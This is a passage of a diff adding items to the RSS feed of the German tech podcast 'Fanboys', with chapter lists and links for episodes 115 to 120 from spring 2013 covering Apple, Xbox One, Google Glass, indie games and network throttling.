href="http://audioboo.fm/boos/1404041-mba-und-multi-screen" target="_blank">MBA und Multiscreen</td></tr><tr><td>00:47:15</td><td><a href="http://audioboo.fm/boos/1408727-feedback" target="_blank">bash skript zeitbasiert ausführen</td></tr><tr><td>00:49:19</td><td><a href="https://itunes.apple.com/us/app/new-star-soccer/id498973162" target="_blank">New Star Soccer</td></tr><tr><td>00:51:42</td><td><a href="http://www.stilltimegame.com/alpha/" target="_blank">Alan Zucconi: Still Time</td></tr><tr><td>00:55:59</td><td><a href="http://rac7.com/YouMustEscape/" target="_blank">You must escape</td></tr><tr><td>00:58:54</td><td><a href="http://youtu.be/KbWgUO-Rqcw" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:22" title="Yahoo kauft Tumblr" href="http://www.marco.org/2013/05/20/one-person-product" />
+ <sc:chapter start="00:04:50" title="flickr Redesign" href="http://www.flickr.com" />
+ <sc:chapter start="00:07:23" title="Xbox ONE" href="http://www.wired.com/gadgetlab/2013/05/xbox-one/" />
+ <sc:chapter start="00:31:53" title="Unity jetzt auch gratis für Mobiles" href="http://www.iphoneblog.de/2013/05/21/game-engine-unity-fur-ios-und-android-kostenlos/" />
+ <sc:chapter start="00:35:05" title="Ghost Blogging Platform" href="http://tryghost.org" />
+ <sc:chapter start="00:38:17" title="Apple und die Steuern" href="http://appleinsider.com/articles/13/05/22/like-apple-google-yahoo-also-avoid-taxes-by-way-of-ireland" />
+ <sc:chapter start="00:40:45" title="Amazon und Fanfiction" href="http://phx.corporate-ir.net/phoenix.zhtml?c=176060&amp;p=irol-newsArticle&amp;ID=1823219" />
+ <sc:chapter start="00:44:11" title="MBA und Multiscreen" href="http://audioboo.fm/boos/1404041-mba-und-multi-screen" />
+ <sc:chapter start="00:47:15" title="bash skript zeitbasiert ausführen" href="http://audioboo.fm/boos/1408727-feedback" />
+ <sc:chapter start="00:49:19" title="New Star Soccer" href="https://itunes.apple.com/us/app/new-star-soccer/id498973162" />
+ <sc:chapter start="00:51:42" title="Alan Zucconi: Still Time" href="http://www.stilltimegame.com/alpha/" />
+ <sc:chapter start="00:55:59" title="You must escape" href="http://rac7.com/YouMustEscape/" />
+ <sc:chapter start="00:58:54" title="Rausschmeisser" href="http://youtu.be/KbWgUO-Rqcw" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23120&amp;user_id=map&amp;title=Fanboys%20Episode%20120&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#120:" />
+ </item>
+ <item>
+ <title>Episode #119 - LOAD "WINDOWS",8,1</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>LOAD "WINDOWS",8,1</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN119.mp3" length="33068348" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN119</guid>
+ <pubDate>Wed, 15 May 2013 17:29:41 +0200</pubDate>
+ <itunes:duration>01:08:45</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:34 Windows 8.1 (bisher Blue)
+00:14:33 Et war Piratenparteitag
+00:28:39 Republica Nachlese - alle Videos
+00:32:40 Facebook Home kommt nicht so dolle an
+00:36:11 Nokia macht jetzt auch die antenne in den rahmen (Lumia 925)
+00:39:59 Oculus
+00:45:20 App dot Net Podcast
+00:49:52 Geofency
+00:54:47 Nextr
+00:56:59 Lensflare
+00:59:04 Mindwave Mobile / Cortex
+01:03:26 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:34</td><td><a href="http://www.heise.de/newsticker/meldung/Microsoft-Windows-8-1-wird-kostenloses-Update-1863075.html" target="_blank">Windows 8.1 (bisher Blue)</td></tr><tr><td>00:14:33</td><td>Et war Piratenparteitag</td></tr><tr><td>00:28:39</td><td><a href="http://michaelkreil.github.io/republicavideos/" target="_blank">Republica Nachlese - alle Videos</td></tr><tr><td>00:32:40</td><td>Facebook Home kommt nicht so dolle an</td></tr><tr><td>00:36:11</td><td><a href="http://www.techhive.com/article/2038700/nokias-lumia-925-will-use-aluminium-frame-as-antenna-go-on-sale-in-june.html#lsrc.twt_jsnell" target="_blank">Nokia macht jetzt auch die antenne in den rahmen (Lumia 925)</td></tr><tr><td>00:39:59</td><td>Oculus</td></tr><tr><td>00:45:20</td><td><a href="http://audioboo.fm/boos/1391552-adn-podcast-spam" target="_blank">App dot Net Podcast</td></tr><tr><td>00:49:52</td><td><a href="https://itunes.apple.com/de/app/geofency-time-tracking-automatic/id615538630?l=en&amp;mt=8" target="_blank">Geofency</td></tr><tr><td>00:54:47</td><td><a href="https://itunes.apple.com/de/app/nextr/id628098698?l=en&amp;mt=8" target="_blank">Nextr</td></tr><tr><td>00:56:59</td><td><a href="http://www.brainfevermedia.com/lensFlare.html" target="_blank">Lensflare</td></tr><tr><td>00:59:04</td><td><a href="http://cortex.co.nf" target="_blank">Mindwave Mobile / Cortex</td></tr><tr><td>01:03:26</td><td><a href="http://www.youtube.com/watch?v=KaOC9danxNo" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:34" title="Windows 8.1 (bisher Blue)" href="http://www.heise.de/newsticker/meldung/Microsoft-Windows-8-1-wird-kostenloses-Update-1863075.html" />
+ <sc:chapter start="00:14:33" title="Et war Piratenparteitag" />
+ <sc:chapter start="00:28:39" title="Republica Nachlese - alle Videos" href="http://michaelkreil.github.io/republicavideos/" />
+ <sc:chapter start="00:32:40" title="Facebook Home kommt nicht so dolle an" />
+ <sc:chapter start="00:36:11" title="Nokia macht jetzt auch die antenne in den rahmen (Lumia 925)" href="http://www.techhive.com/article/2038700/nokias-lumia-925-will-use-aluminium-frame-as-antenna-go-on-sale-in-june.html#lsrc.twt_jsnell" />
+ <sc:chapter start="00:39:59" title="Oculus" />
+ <sc:chapter start="00:45:20" title="App dot Net Podcast" href="http://audioboo.fm/boos/1391552-adn-podcast-spam" />
+ <sc:chapter start="00:49:52" title="Geofency" href="https://itunes.apple.com/de/app/geofency-time-tracking-automatic/id615538630?l=en&amp;mt=8" />
+ <sc:chapter start="00:54:47" title="Nextr" href="https://itunes.apple.com/de/app/nextr/id628098698?l=en&amp;mt=8" />
+ <sc:chapter start="00:56:59" title="Lensflare" href="http://www.brainfevermedia.com/lensFlare.html" />
+ <sc:chapter start="00:59:04" title="Mindwave Mobile / Cortex" href="http://cortex.co.nf" />
+ <sc:chapter start="01:03:26" title="Rausschmeisser" href="http://www.youtube.com/watch?v=KaOC9danxNo" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23119&amp;user_id=map&amp;title=Fanboys%20Episode%20119&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#119:" />
+ </item>
+ <item>
+ <title>Episode #118 - Onkel Tim knackst</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Onkel Tim knackst</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN118.mp3" length="23494575" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN118</guid>
+ <pubDate>Thu, 09 May 2013 01:56:16 +0200</pubDate>
+ <itunes:duration>00:48:48</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 iOS 7 will be Ive-ified
+00:04:04 Google Glass Batterielaufzeit
+00:05:42 XBox mit Offline Modus
+00:07:18 Republica
+00:10:48 Birgitta Jónsdóttir
+00:12:52 Deanna Zandt
+00:13:32 Bicyclemark
+00:14:38 Youtuber - Social Media, die nächste Generation
+00:19:14 Laurie Penny
+00:20:34 Cyborgs Neil Harbisson/Moon Ribas
+00:23:21 Kate Darling
+00:26:37 Gunter Dueck
+00:32:13 Marcels Talk
+00:37:34 CERN Talk
+00:40:14 Crowdsource Astronomy
+00:42:28 Crabitron
+00:44:04 Sorcery
+00:47:13 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://allthingsd.com/20130501/apples-ios-7-team-in-deadline-crunch-mode-adding-engineers/" target="_blank">iOS 7 will be Ive-ified</td></tr><tr><td>00:04:04</td><td><a href="http://abcnews.go.com/Technology/google-glass-googles-wearable-gadget/story?id=19091948&amp;page=2" target="_blank">Google Glass Batterielaufzeit</td></tr><tr><td>00:05:42</td><td><a href="http://www.giga.de/konsolen/xbox-720/news/xbox-720-interne-e-mail-bestatigt-offline-funktion/" target="_blank">XBox mit Offline Modus</td></tr><tr><td>00:07:18</td><td>Republica</td></tr><tr><td>00:10:48</td><td><a href="http://re-publica.de/sessions/iceland-could-have-been-innovative-participatory-democracy" target="_blank">Birgitta Jónsdóttir</td></tr><tr><td>00:12:52</td><td><a href="http://www.youtube.com/watch?v=beArpOK5Ov0" target="_blank">Deanna Zandt</td></tr><tr><td>00:13:32</td><td><a href="http://www.radioopensource.org/coffee-hour-on-cairo-a-collective-work-of-art/" target="_blank">Bicyclemark</td></tr><tr><td>00:14:38</td><td>Youtuber - Social Media, die nächste Generation</td></tr><tr><td>00:19:14</td><td><a href="http://www.youtube.com/watch?v=ELw3PQOSgd0" target="_blank">Laurie Penny</td></tr><tr><td>00:20:34</td><td>Cyborgs Neil Harbisson/Moon Ribas</td></tr><tr><td>00:23:21</td><td><a href="https://re-publica.de/sessions/robot-ethics" target="_blank">Kate Darling</td></tr><tr><td>00:26:37</td><td>Gunter Dueck</td></tr><tr><td>00:32:13</td><td><a href="https://re-publica.de/sessions/digitaldarwinismus-warum-gibt-es-keine-digitalen-bananen" target="_blank">Marcels Talk</td></tr><tr><td>00:37:34</td><td><a href="http://www.youtube.com/watch?v=ceARb5FRy8A" target="_blank">CERN Talk</td></tr><tr><td>00:40:14</td><td><a href="http://www.youtube.com/watch?v=DQmfFWQBIHw" target="_blank">Crowdsource Astronomy</td></tr><tr><td>00:42:28</td><td><a href="https://itunes.apple.com/de/app/crabitron/id440462182?mt=8" target="_blank">Crabitron</td></tr><tr><td>00:44:04</td><td><a href="https://itunes.apple.com/de/app/sorcery!/id627879091?mt=8" target="_blank">Sorcery</td></tr><tr><td>00:47:13</td><td><a href="http://youtu.be/ceARb5FRy8A?t=37m50s" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="iOS 7 will be Ive-ified" href="http://allthingsd.com/20130501/apples-ios-7-team-in-deadline-crunch-mode-adding-engineers/" />
+ <sc:chapter start="00:04:04" title="Google Glass Batterielaufzeit" href="http://abcnews.go.com/Technology/google-glass-googles-wearable-gadget/story?id=19091948&amp;page=2" />
+ <sc:chapter start="00:05:42" title="XBox mit Offline Modus" href="http://www.giga.de/konsolen/xbox-720/news/xbox-720-interne-e-mail-bestatigt-offline-funktion/" />
+ <sc:chapter start="00:07:18" title="Republica" />
+ <sc:chapter start="00:10:48" title="Birgitta Jónsdóttir" href="http://re-publica.de/sessions/iceland-could-have-been-innovative-participatory-democracy" />
+ <sc:chapter start="00:12:52" title="Deanna Zandt" href="http://www.youtube.com/watch?v=beArpOK5Ov0" />
+ <sc:chapter start="00:13:32" title="Bicyclemark" href="http://www.radioopensource.org/coffee-hour-on-cairo-a-collective-work-of-art/" />
+ <sc:chapter start="00:14:38" title="Youtuber - Social Media, die nächste Generation" />
+ <sc:chapter start="00:19:14" title="Laurie Penny" href="http://www.youtube.com/watch?v=ELw3PQOSgd0" />
+ <sc:chapter start="00:20:34" title="Cyborgs Neil Harbisson/Moon Ribas" />
+ <sc:chapter start="00:23:21" title="Kate Darling" href="https://re-publica.de/sessions/robot-ethics" />
+ <sc:chapter start="00:26:37" title="Gunter Dueck" />
+ <sc:chapter start="00:32:13" title="Marcels Talk" href="https://re-publica.de/sessions/digitaldarwinismus-warum-gibt-es-keine-digitalen-bananen" />
+ <sc:chapter start="00:37:34" title="CERN Talk" href="http://www.youtube.com/watch?v=ceARb5FRy8A" />
+ <sc:chapter start="00:40:14" title="Crowdsource Astronomy" href="http://www.youtube.com/watch?v=DQmfFWQBIHw" />
+ <sc:chapter start="00:42:28" title="Crabitron" href="https://itunes.apple.com/de/app/crabitron/id440462182?mt=8" />
+ <sc:chapter start="00:44:04" title="Sorcery" href="https://itunes.apple.com/de/app/sorcery!/id627879091?mt=8" />
+ <sc:chapter start="00:47:13" title="Rausschmeisser" href="http://youtu.be/ceARb5FRy8A?t=37m50s" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23118&amp;user_id=map&amp;title=Fanboys%20Episode%20118&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#118:" />
+ </item>
+ <item>
+ <title>Episode #117 - Der Pepsi-Test</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Der Pepsi-Test</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN117.mp3" length="30384841" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN117</guid>
+ <pubDate>Tue, 30 Apr 2013 19:04:02 +0200</pubDate>
+ <itunes:duration>01:03:09</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:27 Petition der Spieleautoren
+00:11:18 WWDC innerhalb von 90 Sekunden ausverkauft
+00:14:57 Guter Artikel zur Drossel
+00:17:29 Apple Store Berlin am 3.5.
+00:20:59 Oculus Rfit
+00:35:24 AMaze Indie Connect
+00:37:39 Talk von Rami von Vlambeer
+00:45:35 Marius The Visit
+00:49:30 Amaze Award für Space Team
+00:53:32 Ludum Dare
+00:55:11 Free Indiegames
+00:56:04 Venus Patrol
+00:59:24 Wally
+01:01:21 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:27</td><td><a href="http://www.change.org/de/Petitionen/spieleautoren-als-urheber-und-die-saz-als-verhandlungspartner-anerkennen" target="_blank">Petition der Spieleautoren</td></tr><tr><td>00:11:18</td><td><a href="http://thenextweb.com/apple/2013/04/25/apples-wwdc-conference-sells-out-in-minutes/" target="_blank">WWDC innerhalb von 90 Sekunden ausverkauft</td></tr><tr><td>00:14:57</td><td><a href="http://www.iheartdigitallife.de/fur-den-gewinn-warum-die-telekom-drosseln-will-und-was-dagegen-einzuwenden-ist/" target="_blank">Guter Artikel zur Drossel</td></tr><tr><td>00:17:29</td><td>Apple Store Berlin am 3.5.</td></tr><tr><td>00:20:59</td><td><a href="http://www.oculusvr.com" target="_blank">Oculus Rfit</td></tr><tr><td>00:35:24</td><td>AMaze Indie Connect</td></tr><tr><td>00:37:39</td><td>Talk von Rami von Vlambeer</td></tr><tr><td>00:45:35</td><td><a href="http://www.newgrounds.com/portal/view/604582" target="_blank">Marius The Visit</td></tr><tr><td>00:49:30</td><td><a href="https://itunes.apple.com/de/app/spaceteam/id570510529?mt=8" target="_blank">Amaze Award für Space Team</td></tr><tr><td>00:53:32</td><td>Ludum Dare</td></tr><tr><td>00:55:11</td><td><a href="http://freeindiegam.es" target="_blank">Free Indiegames</td></tr><tr><td>00:56:04</td><td><a href="http://venuspatrol.com" target="_blank">Venus Patrol</td></tr><tr><td>00:59:24</td><td><a href="http://www.kickstarter.com/projects/1398285518/wally-the-iphone-wallet-reimagined" target="_blank">Wally</td></tr><tr><td>01:01:21</td><td><a href="https://netzpolitik.org/2013/dorsselkom-soundtrack-funktional-kaputt-in-itunes-charts/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:27" title="Petition der Spieleautoren" href="http://www.change.org/de/Petitionen/spieleautoren-als-urheber-und-die-saz-als-verhandlungspartner-anerkennen" />
+ <sc:chapter start="00:11:18" title="WWDC innerhalb von 90 Sekunden ausverkauft" href="http://thenextweb.com/apple/2013/04/25/apples-wwdc-conference-sells-out-in-minutes/" />
+ <sc:chapter start="00:14:57" title="Guter Artikel zur Drossel" href="http://www.iheartdigitallife.de/fur-den-gewinn-warum-die-telekom-drosseln-will-und-was-dagegen-einzuwenden-ist/" />
+ <sc:chapter start="00:17:29" title="Apple Store Berlin am 3.5." />
+ <sc:chapter start="00:20:59" title="Oculus Rfit" href="http://www.oculusvr.com" />
+ <sc:chapter start="00:35:24" title="AMaze Indie Connect" />
+ <sc:chapter start="00:37:39" title="Talk von Rami von Vlambeer" />
+ <sc:chapter start="00:45:35" title="Marius The Visit" href="http://www.newgrounds.com/portal/view/604582" />
+ <sc:chapter start="00:49:30" title="Amaze Award für Space Team" href="https://itunes.apple.com/de/app/spaceteam/id570510529?mt=8" />
+ <sc:chapter start="00:53:32" title="Ludum Dare" />
+ <sc:chapter start="00:55:11" title="Free Indiegames" href="http://freeindiegam.es" />
+ <sc:chapter start="00:56:04" title="Venus Patrol" href="http://venuspatrol.com" />
+ <sc:chapter start="00:59:24" title="Wally" href="http://www.kickstarter.com/projects/1398285518/wally-the-iphone-wallet-reimagined" />
+ <sc:chapter start="01:01:21" title="Rausschmeisser" href="https://netzpolitik.org/2013/dorsselkom-soundtrack-funktional-kaputt-in-itunes-charts/" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23117&amp;user_id=map&amp;title=Fanboys%20Episode%20117&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#117:" />
+ </item>
+ <item>
+ <title>Episode #116 - Wir halten die Nase hoch</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Wir halten die Nase hoch</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN116.mp3" length="29536175" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN116</guid>
+ <pubDate>Wed, 24 Apr 2013 18:08:55 +0200</pubDate>
+ <itunes:duration>01:01:23</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:40 Hopscotch nicht Hotch Potch
+00:03:04 Chrome Books verkaufen sich nicht
+00:04:31 App Gratis Saga: Apple dreht push ab
+00:07:09 Drossel jetzt offiziell
+00:12:27 Wer drosselt?
+00:14:54 Apple 2013-Q2 Quartalszahlen
+00:17:23 Cook erwähnt Fall und 2014, hätte iMac lieber noch zurückgehalten wenn ers gewußt hätte
+00:18:28 Gibt mehr dividende, und apple kauft aktien zurück
+00:20:02 Keine Emojis mehr in App Store Texten
+00:20:55 WWDC angekündigt. Videos während der Konferenz. 2te Juni Woche.
+00:25:21 "Was geht app" Podcastpromo
+00:27:38 Timemachine konsolidieren
+00:37:26 Sideways Pebble Watchface von dom
+00:42:03 Kentucky Route Zero
+00:49:02 Interview zu KRZ
+00:50:29 Pythonista
+00:57:32 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:40</td><td><a href="http://www.gethopscotch.com" target="_blank">Hopscotch nicht Hotch Potch</td></tr><tr><td>00:03:04</td><td><a href="http://www.zdnet.com/first-real-world-usage-figures-suggest-chromebooks-are-struggling-7000014102/" target="_blank">Chrome Books verkaufen sich nicht</td></tr><tr><td>00:04:31</td><td><a href="http://www.tuaw.com/2013/04/18/apple-kills-appgratis-push-notifications/" target="_blank">App Gratis Saga: Apple dreht push ab</td></tr><tr><td>00:07:09</td><td><a href="https://netzpolitik.org/2013/telekom-macht-ernst-tarifwechsel-fuhrt-zur-ende-der-flatrates-und-verletzung-der-netzneutralitat/" target="_blank">Drossel jetzt offiziell</td></tr><tr><td>00:12:27</td><td><a href="http://werdrosselt.de" target="_blank">Wer drosselt?</td></tr><tr><td>00:14:54</td><td><a href="http://finance.yahoo.com/news/apple-reports-second-quarter-results-203000156.html" target="_blank">Apple 2013-Q2 Quartalszahlen</td></tr><tr><td>00:17:23</td><td>Cook erwähnt Fall und 2014, hätte iMac lieber noch zurückgehalten wenn ers gewußt hätte</td></tr><tr><td>00:18:28</td><td>Gibt mehr dividende, und apple kauft aktien zurück</td></tr><tr><td>00:20:02</td><td><a href="http://appleinsider.com/articles/13/04/22/apple-reportedly-restricting-special-characters-in-app-descriptions" target="_blank">Keine Emojis mehr in App Store Texten</td></tr><tr><td>00:20:55</td><td>WWDC angekündigt. Videos während der Konferenz. 2te Juni Woche.</td></tr><tr><td>00:25:21</td><td><a href="http://podcast.wasgehtapp.com" target="_blank">"Was geht app" Podcastpromo</td></tr><tr><td>00:27:38</td><td><a href="https://audioboo.fm/boos/1344144-time-machine-backup-konsolidieren-fanb0ys-kommentar.mp3" target="_blank">Timemachine konsolidieren</td></tr><tr><td>00:37:26</td><td><a href="http://mypebblefaces.com/view?fID=1092&amp;aName=monkeydom&amp;pageTitle=Sideways&amp;auID=1283" target="_blank">Sideways Pebble Watchface von dom</td></tr><tr><td>00:42:03</td><td><a href="http://kentuckyroutezero.com" target="_blank">Kentucky Route Zero</td></tr><tr><td>00:49:02</td><td><a href="http://www.polygon.com/features/2013/4/11/4158338/breathe-in-the-road-kentucky-route-zero" target="_blank">Interview zu KRZ</td></tr><tr><td>00:50:29</td><td><a href="https://itunes.apple.com/us/app/pythonista/id528579881?mt=8" target="_blank">Pythonista</td></tr><tr><td>00:57:32</td><td><a href="http://www.youtube.com/watch?v=7xMNSiuq2nk" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:40" title="Hopscotch nicht Hotch Potch" href="http://www.gethopscotch.com" />
+ <sc:chapter start="00:03:04" title="Chrome Books verkaufen sich nicht" href="http://www.zdnet.com/first-real-world-usage-figures-suggest-chromebooks-are-struggling-7000014102/" />
+ <sc:chapter start="00:04:31" title="App Gratis Saga: Apple dreht push ab" href="http://www.tuaw.com/2013/04/18/apple-kills-appgratis-push-notifications/" />
+ <sc:chapter start="00:07:09" title="Drossel jetzt offiziell" href="https://netzpolitik.org/2013/telekom-macht-ernst-tarifwechsel-fuhrt-zur-ende-der-flatrates-und-verletzung-der-netzneutralitat/" />
+ <sc:chapter start="00:12:27" title="Wer drosselt?" href="http://werdrosselt.de" />
+ <sc:chapter start="00:14:54" title="Apple 2013-Q2 Quartalszahlen" href="http://finance.yahoo.com/news/apple-reports-second-quarter-results-203000156.html" />
+ <sc:chapter start="00:17:23" title="Cook erwähnt Fall und 2014, hätte iMac lieber noch zurückgehalten wenn ers gewußt hätte" />
+ <sc:chapter start="00:18:28" title="Gibt mehr dividende, und apple kauft aktien zurück" />
+ <sc:chapter start="00:20:02" title="Keine Emojis mehr in App Store Texten" href="http://appleinsider.com/articles/13/04/22/apple-reportedly-restricting-special-characters-in-app-descriptions" />
+ <sc:chapter start="00:20:55" title="WWDC angekündigt. Videos während der Konferenz. 2te Juni Woche." />
+ <sc:chapter start="00:25:21" title="'Was geht app' Podcastpromo" href="http://podcast.wasgehtapp.com" />
+ <sc:chapter start="00:27:38" title="Timemachine konsolidieren" href="https://audioboo.fm/boos/1344144-time-machine-backup-konsolidieren-fanb0ys-kommentar.mp3" />
+ <sc:chapter start="00:37:26" title="Sideways Pebble Watchface von dom" href="http://mypebblefaces.com/view?fID=1092&amp;aName=monkeydom&amp;pageTitle=Sideways&amp;auID=1283" />
+ <sc:chapter start="00:42:03" title="Kentucky Route Zero" href="http://kentuckyroutezero.com" />
+ <sc:chapter start="00:49:02" title="Interview zu KRZ" href="http://www.polygon.com/features/2013/4/11/4158338/breathe-in-the-road-kentucky-route-zero" />
+ <sc:chapter start="00:50:29" title="Pythonista" href="https://itunes.apple.com/us/app/pythonista/id528579881?mt=8" />
+ <sc:chapter start="00:57:32" title="Rausschmeisser" href="http://www.youtube.com/watch?v=7xMNSiuq2nk" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23116&amp;user_id=map&amp;title=Fanboys%20Episode%20116&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#116:" />
+ </item>
+ <item>
+ <title>Episode #115 - Feuchte-Ohren Zeit</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Feuchte-Ohren Zeit</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN115.mp3" length="27786179" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN115</guid>
+ <pubDate>Thu, 18 Apr 2013 16:26:36 +0200</pubDate>
+ <itunes:duration>00:57:45</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:48 Internet Movie Data Base statt International Movie Data Base
+00:06:00 Romo
+00:08:58 Kein Geld für Entwickler bei Google Glass Beta
+00:10:40 Kein wetierverkaufen der ersten Brillen
+00:12:53 Twitter verbietet Flattern per Fav
+00:16:41 Facebook Home mit QuartzComposer designt.
+00:23:57 @lorenb jetzt auch bei facebook.
+00:26:50 Tipp von Jörg: Mails teilweise zitieren
+00:28:49 ColorSense for Xcode
+00:33:17 appsacker
+00:34:24 Marc-Uwe Kling
+00:37:11 Magnetized
+00:41:24 Thomas was alone
+00:48:01 iTV Shows 2
+00:51:06 Pepple Watchfaces
+00:52:22 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:48</td><td>Internet Movie Data Base statt International Movie Data Base</td></tr><tr><td>00:06:00</td><td><a href="http://www.tuaw.com/2013/04/09/romo-iphone-robot-to-charm-his-way-into-your-heart-in-june/" target="_blank">Romo</td></tr><tr><td>00:08:58</td><td><a href="http://www.theverge.com/2013/4/15/4228962/google-glass-mirror-api-documentation" target="_blank">Kein Geld für Entwickler bei Google Glass Beta</td></tr><tr><td>00:10:40</td><td><a href="http://www.spiegel.de/netzwelt/netzpolitik/google-glass-google-verbietet-verkauf-von-datenbrille-a-895064.html" target="_blank">Kein wetierverkaufen der ersten Brillen</td></tr><tr><td>00:12:53</td><td><a href="http://blog.flattr.net/2013/04/twitter-is-forcing-us-to-drop-users-ability-to-flattr-creators-by-favoriting-their-tweets/" target="_blank">Twitter verbietet Flattern per Fav</td></tr><tr><td>00:16:41</td><td><a href="https://medium.com/the-year-of-the-looking-glass/af182add5a2f" target="_blank">Facebook Home mit QuartzComposer designt.</td></tr><tr><td>00:23:57</td><td>@lorenb jetzt auch bei facebook.</td></tr><tr><td>00:26:50</td><td><a href="https://twitter.com/christi3443/status/322654165371326466" target="_blank">Tipp von Jörg: Mails teilweise zitieren</td></tr><tr><td>00:28:49</td><td><a href="https://github.com/omz/ColorSense-for-Xcode" target="_blank">ColorSense for Xcode</td></tr><tr><td>00:33:17</td><td><a href="http://appsacker.net" target="_blank">appsacker</td></tr><tr><td>00:34:24</td><td><a href="http://www.youtube.com/watch?v=Ph-vHNUBUdc" target="_blank">Marc-Uwe Kling</td></tr><tr><td>00:37:11</td><td><a href="http://www.newgrounds.com/portal/view/615109" target="_blank">Magnetized</td></tr><tr><td>00:41:24</td><td><a href="http://www.thomaswasalone.com" target="_blank">Thomas was alone</td></tr><tr><td>00:48:01</td><td><a href="https://itunes.apple.com/us/app/itv-shows-2/id517468168?mt=8" target="_blank">iTV Shows 2</td></tr><tr><td>00:51:06</td><td><a href="http://mypebblefaces.com/?date=desc" target="_blank">Pepple Watchfaces</td></tr><tr><td>00:52:22</td><td><a href="http://www.youtube.com/watch?v=8vFL0QWxugI" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:48" title="Internet Movie Data Base statt International Movie Data Base" />
+ <sc:chapter start="00:06:00" title="Romo" href="http://www.tuaw.com/2013/04/09/romo-iphone-robot-to-charm-his-way-into-your-heart-in-june/" />
+ <sc:chapter start="00:08:58" title="Kein Geld für Entwickler bei Google Glass Beta" href="http://www.theverge.com/2013/4/15/4228962/google-glass-mirror-api-documentation" />
+ <sc:chapter start="00:10:40" title="Kein wetierverkaufen der ersten Brillen" href="http://www.spiegel.de/netzwelt/netzpolitik/google-glass-google-verbietet-verkauf-von-datenbrille-a-895064.html" />
+ <sc:chapter start="00:12:53" title="Twitter verbietet Flattern per Fav" href="http://blog.flattr.net/2013/04/twitter-is-forcing-us-to-drop-users-ability-to-flattr-creators-by-favoriting-their-tweets/" />
+ <sc:chapter start="00:16:41" title="Facebook Home mit QuartzComposer designt." href="https://medium.com/the-year-of-the-looking-glass/af182add5a2f" />
